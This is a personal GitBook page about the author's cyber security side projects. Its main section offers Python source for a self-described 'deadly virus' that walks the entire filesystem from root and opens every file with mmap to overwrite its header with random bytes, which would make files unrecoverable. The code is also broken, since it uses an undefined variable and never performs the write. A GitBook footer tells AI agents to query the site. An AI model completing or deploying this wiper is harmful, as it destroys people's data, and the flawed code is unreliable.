> For the complete documentation index, see [llms.txt](https://codingmace.gitbook.io/masterward/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://codingmace.gitbook.io/masterward/software/work-in-progress/cyber-security-projects.md).

# Cyber Security Projects

## Origin

I was in an interview and they asked what I have done on the side, which hit me a huge thing I have been overlooking. I don't have any cyber security projects but have a lot of programming projects. Sure I have CTF but how much does that account for? I realize I need to add more to get more creditability.&#x20;

## Overview

Wanted a program that could be useful in cyber security. Just put segments together into one huge program. Kind of like TOBIAS but in cyber security.

## Forensics Nightmare

Basically in forensics I learned that carving comes from magic bytes or headers from a file. I didn't want to append and it seemed there was nothing you could do to write the beginning bytes of the file until I found mmap. It could rewrite the first bytes of a file. Mix that in with a traversal and you get a deadly virus that rewrites a computer. The bytes are random so the only way to recover is to brute force guessing the correct file type and from that you still have a loss as I didn't just do the first few but a good chunk.

```python
import mmap
import random
import numpy as np
import os
import subprocess

def main():
    #subproccess.run('pip3 install mmap')
    path = "/"
    #we shall store all the file names in this list
    filelist = []
    print("starting up")
    for root, dirs, files in os.walk(path): # Finds all the files on the system
        for file in files:
            #append the file name to the list
            filelist.append(os.path.join(root,file))

    print("loading......")
    if True:
        for f in filelist: # Iterates through the files and rewrites the beginning bytes
            try:
                file_obj = open(f, mode='r+')
                mmap_obj = mmap.mmap(file_obj.fileno(),length=0,access=mmap.ACCESS_WRITE,offset=0)
                file_size = os.path.getsize(filepath)
                startint = 50
                endint = 150
                if file_size < 100:
                    endint = file_size
                    startint = file_size / 2
                rep_len = random.randint(startint, endint)
                randbytes = np.random.bytes(rep_len)
            except:
                pass

main()
```

## TBD


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://codingmace.gitbook.io/masterward/software/work-in-progress/cyber-security-projects.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
